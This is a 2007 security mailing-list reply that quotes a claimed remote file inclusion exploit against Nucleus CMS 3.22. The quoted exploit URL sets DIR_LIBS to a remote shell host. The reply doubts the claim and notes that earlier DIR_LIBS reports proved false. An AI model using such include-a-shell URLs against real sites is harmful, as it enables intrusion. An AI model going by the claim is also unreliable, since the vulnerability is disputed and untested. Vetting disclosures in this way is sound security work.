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On 5/6/07, security curmudgeon <firstname.lastname@example.org> wrote:
> : VENDOR :http://nucleuscms.org/
> : BY : s3rv3r_hack3r (hackerz.ir admin)
> : bug:
> : nucleus3.22/nucleus/plugins/skinfiles/index.php = include($DIR_LIBS . 'PLUGINADMIN.php');
> : Exloit:
> : http://victim/nucleus/plugins/skinfiles/index.php?DIR_LIBS=http://shell
> I haven't examined the source code to this, but on June 16, 2006,
> email@example.com disclosed RFI vulnerabilities  in four Nucleus
> scripts, all with the DIR_LIBS variable as the injection point. This was
> subsequently proven to be a false report as the variable was previously
> set and could not be manipulated by an attacker.
> Have you actually tested this, or is this based on a quick grep of the
> source code?
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